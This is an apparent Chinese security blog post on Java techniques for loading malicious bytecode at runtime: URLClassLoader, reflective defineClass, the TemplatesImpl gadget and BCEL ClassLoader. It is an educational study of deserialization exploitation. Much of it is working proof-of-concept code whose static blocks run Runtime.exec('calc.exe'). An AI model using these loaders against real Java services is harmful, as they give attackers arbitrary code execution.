关于java中动态加载字节码的多种方法

在反序列化漏洞中;经常会遇到TemplatesImplBCEL相关的代码,它们就是用来动态加载恶意字节码执行任意命令的;

以及理解这些机制也是理解内存马工作原理的基础;以及可以深入地理解Java类加载机制和JVM的灵活性

首先先说一个概念:什么是字节码;狭义上来说就是编译后生成的.class里的内容,这些是一些jvm指令集;

广义上来说:字节码是指任何能够被JVM恢复成一个类并加载在内存中执行的字节序列;

这包括:

1.标准的.class文件内容;

2.经过特殊处理或编码的字节序列(如BCEL格式);

3.运行时动态生成的字节码;

关键点:在于攻击者可以构造恶意的"广义字节码"让jvm加载执行,从而达到非预期效果;

工作流程:loadClass -> findClass -> defineClass(最终将字节码转换为Class对象)

下面用一张图解释整个流程

从流程中我们知道

loadClass 是加载的入口;作用加载类缓存,从父类中寻找类(也就说说如果类缓存中没有类,就会使用双亲委派机制让父类加载器优先加载类)如果父类加载器的缓存中也没有类,就会调用findClass寻找类;

findClass:作用是从URL路径(本地路径,JAR包,远程服务器等)中寻找类,并加载类的字节码,然后交给defineClass

defineClass:处理字节码,将字节码转换成类

1.利用URLClassLoader加载远程class文件

原理:java的默认类加载器(APPClassLoader)的父类是URLClassLoader,他可以从指定的URL路径(本地路径,JAR包,远程服务器等)加载类,

攻击向量:攻击者可以控制URLClassLoader加载的基础路径(URL[])为一个攻击者可控的HTTP服务器,那么就能让目标JVM加载并执行远程服务器上的恶意.class文件;常见攻击方式如 jndi注入,rmi加载等

利用条件:

1依赖协议:如http,https,file,ftp,jar,jndi,rmi协议

2.目标出网

3,.加载的是标准的、完整的.class文件

测试

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class    HelloClassLoader {
    public static void main(String[] args) {
        try {
            URL[] urls = new URL[] { new URL("http://localhost:8080/") };
            URLClassLoader cl = new URLClassLoader(urls);
            Class<?> cls = cl.loadClass("Hello");
            cls.newInstance();
        } catch (MalformedURLException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
}
//Hello.java 恶意类
import java.lang.reflect.Method;

public class Hello {
    public Hello() {
        System.out.println("Constructor: Hello World!");
    }
    static {
        System.out.println("Static block: Hello World!");
        try {
            Class clazz =  Class.forName("java.lang.Runtime");
            Method method = clazz.getMethod("getRuntime");
            Runtime runtime = (Runtime) method.invoke(clazz);
            runtime.exec("calc.exe");
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到已经加载了Hello.class的"jvm字节码";注意这里需要把要执行的代码放在静态代码块或者构造函数中;

放在静态代码:"类初始化"会加载static中的内容(换句话说就是程序执行前加载

放在构造函数:因为代码中调用了无参构造cls.newInstance();不放在静态代码块的话必须放到无参构造函数中;

2.利用ClassLoader.defineClass()直接加载字节码;

原理:类加载的核心最终是defineClass这个protected native方法。他负责将原始的字节数组(byte[])转换成JVM内部的Class对象。

流程位置:在 findClass 位置,findClass方法通常会调用defineClass来处理找到的字节码;如果我们可以直接控制defineClass;不就可以直接加载字节码了吗?

但有个问题是这个方法是protected属性,怎么办,无妨可以通过反射突破访问限制(setAccessible(true))

攻击向量:通过反射强行调用definClass

代码

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class defineClasstest {

    public static void main(String[] args) throws Exception {
        ClassLoader cl= ClassLoader.getSystemClassLoader();
        Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        //反射获取defineClass方法
        defineClass.setAccessible(true);//突破访问限制
        byte[] code= Files.readAllBytes(Paths.get("Hello.class"));//从文件中加载,加载恶意字节码
        Class<?> cls=(Class<?>) defineClass.invoke(cl,"Hello",code,0,code.length);
        //调用defineClass方法加载code
        cls.newInstance();

    }
}

利用条件:defineClass只负责加载和链接类,不会执行类的初始化(静态块、静态变量初始化)或构造函数。要执行代码,必须显式调用newInstance()或调用静态方法,进行"代码初始化"才可以执行,。因此要进行远程代码执行;需要想办法调用目标机器的构造函数才可以;

在实际场景中;直接反射调用defineClass比较少见,因为需要先有反射能力,且容易受安全管理器限制;但它是最底层的基石。

更常见的是利用本身调用了defineClass的、且调用方式可被外部控制的类。这就是TemplatesImpl的攻击链出现的原因

3.利用TemplatesImpl加载字节码

虽然defineClass方法不能直接利用,但还是有一些外部类调用了这个方法;经典就是TemplatesImpl类

原理:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类内部有一个 TransletClassLoader

TransletClassLoader 重写defineClass方法,并且没有显式声明作用域。在Java中,这意味着它是default(包私有)作用域。

关键的TemplatesImpl方法(newTransformer(), getOutputProperties())是public的。它们最终会调用到TransletClassLoader.defineClass()来加载存储在TemplatesImpl对象内部的字节码(_bytecodes属性)。

可以看到在TemplatesImpl的加载器TransletClassLoader中重写defineClass方法;没有显示声明作用域这意味着它是default;可以被外类调用

    static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }	

我们回溯回溯一下调用链

attacker calls -> TemplatesImpl.getOutputProperties() [public]
                     -> TemplatesImpl.newTransformer() [public]
                         -> TemplatesImpl.getTransletInstance() [private]
                              -> TemplatesImpl.defineTransletClasses() [private]
                                   -> (new TransletClassLoader()).defineClass(byte[] b) [default]

发现TemplatesImpl.newTransformer()和 TemplatesImpl.newTransformer() 他们的作用域是public可以被外部调用

构造TemplatesImpl.newTransformer()链的poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImpltest {
    public static void main(String[] args) throws Exception {

        byte[] code=  Files.readAllBytes(Paths.get("evil.class"));//从文件中加载,加载恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        templates.newTransformer();

    }

    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

        Class<?> clazz = obj.getClass();
        Field field = null;

        // 循环查找字段(包括父类)
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

但这里是不能直接运行的

原因是在代码defineTransletClasses()中存在一些安全限制,导致必须AbstractTranslet的子类,字节码才可以被正常加载

private void defineTransletClasses() throws TransformerConfigurationException {
    // 加载字节码的代码] 
    
    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();
        
        // 关键检查点:必须是AbstractTranslet的子类
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        } else {
            // 如果不是AbstractTranslet的子类,则抛出异常
            throw new TransformerConfigurationException("Class is not a translet");
        }
    }
    
    // ... [后续处理] ...
}

因此需要对恶意类进行构造一下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;

public class evil extends AbstractTranslet {
    public evil() {
        System.out.println("Constructor: Hello World!");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        System.out.println("Static block: Hello World!");
        try {
            Class clazz =  Class.forName("java.lang.Runtime");
            Method method = clazz.getMethod("getRuntime");
            Runtime runtime = (Runtime) method.invoke(clazz);
            runtime.exec("calc.exe");
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到顺利执行了;

顺带一题,关于 TemplatesImpl加载恶意字节码在java反序列化的漏洞利用链中以及fastjson、.jackson的漏洞中,都曾出现过TemplatesImpl的身影;

4.利用BCEL ClassLoader加载字节码

备注

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为
被Apache Xalan所使用,而Apache Xalan又是ava内部对于刊AXP的实现,所以BCEL也被包含在了JDK的
原生库中。
关于BCEL的详细介绍,请阅读p牛写的另一篇文章《BCEL ClassLoader去哪了》,
建议阅读完这篇文章
再来阅读本文。

原理:BCEL (Apache Commons BCEL) 提供了一套操作字节码的库。它定义了一种特殊的字符串格式来表示类(通常以$$BCEL$$开头),这种格式包含了原始字节码的编码

攻击向量:生成BCEL字节码字符串: 使用BCEL的Repository或Utility类将标准的.class文件字节码(byte[])转换成BCEL格式的特殊字符串。

Repository:用于将一个Java Class先转换成原生字节码,

Utility:用于将原生的字节码转换成BCL格式的字节码:

生成bcel字节码

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELtest {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(evil.class);
        String bcelcode=Utility.encode(clazz.getBytes(),true);
        System.out.println(bcelcode);

    }
}

最后经过一些测试发现bcel的Classloader需要版本在6,7左右才可以解析;且恶意类有时候需要在版本冲突时依赖可能无法导入解析,就比如evil我导入了AbstractTranslet

导致

java.lang.NoClassDefFoundError:
com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet;因此考虑使用不依赖 AbstractTranslet 的版本

package org.com.cc6;


import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELtest {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(EEvil.class);

        // 2. 转换为BCEL编码格式(必须添加前缀)
        String bcelcode = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
        System.out.println( bcelcode);

         new ClassLoader().loadClass(bcelcode).newInstance();
    //    Class<?> clazz1 = loader.loadClass(bcelcode);
      //  clazz1.newInstance();
    }

}
//EEvil.java
package org.com.cc6;

public class EEvil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

参考
p牛知识星球->代码审计->java系列文章
p牛的《BCEL ClassLoader去哪了》:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

;

 posted on 2025-05-30 05:59  ୧૭  阅读(70)  评论(0)    收藏  举报